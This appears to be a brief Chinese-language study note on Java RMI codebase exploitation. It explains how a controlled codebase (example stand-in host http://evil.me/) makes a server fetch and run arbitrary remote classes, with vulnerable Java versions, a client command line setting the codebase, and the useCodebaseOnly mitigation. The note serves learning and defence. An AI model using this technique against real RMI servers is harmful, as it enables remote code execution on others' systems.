codebase 利用

codebase是一个地址,告诉Java虚拟机到哪去搜索类,类似本地的CLASSPATH路径,与classPath不同的是codebase一般为远程url, 支持http和ftp等协议
使用: 指定codebase=http://evil.me/ 然后加载com.test.Example类, 若在本地的ClassPath等路径未找到该类,就会去远程加载evil.me中的类, 加载地址为 http://evil.me/com/test/Example.class
若codebase被控制,就可以加载任意的类了.
在RMI中,可以将codebase随着序列化数据一起传输,服务端在收到这个数据之后就会在ClassPath和指定的codebase中去寻找这个类,然后就想办法触发任意代码执行.
缓解措施: java.rmi.server.useCodebaseOnly=true, 启用了这个设置之后,Java虚拟机只信任预先配置好的codebase,不再支持从RMI请求中获取.
攻击成功的条件:

  1. 安装并且配置了SecurityManager
  2. Java版本低于7u21或者6u45, 或者设置了 java.rmi.server.useCodebaseOnly=false

Other :

  1. 还存在一个问题,如何让Server加载它ClassPath中不存在的类?

P牛给的例子中是在远程方法的参数中传入一个恶意构造的不存在的类对象:
image.png

  1. 接着1的例子,似乎可以理解了为什么RMI中会存在Server加载Client传来的codebase中的类的问题了.

客户端对于远程方法调用也有自己的需求,而且不可能把所有的类都给服务端

  1. 如何探测?

构造恶意参数传递给远程方法,参数中包含恶意的不存在的类.

  1. 客户端是怎么传递恶意codebase的?通过VM参数

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

  1. 谁会去加载恶意类?Server or Registry? // 猜测Server.
  2. 存在于RMI的哪些环节?
  3. 下图来自P牛,===> 未完全控制RMIClient的时候也可以修改 classAnnotations 来控制codebase

image.png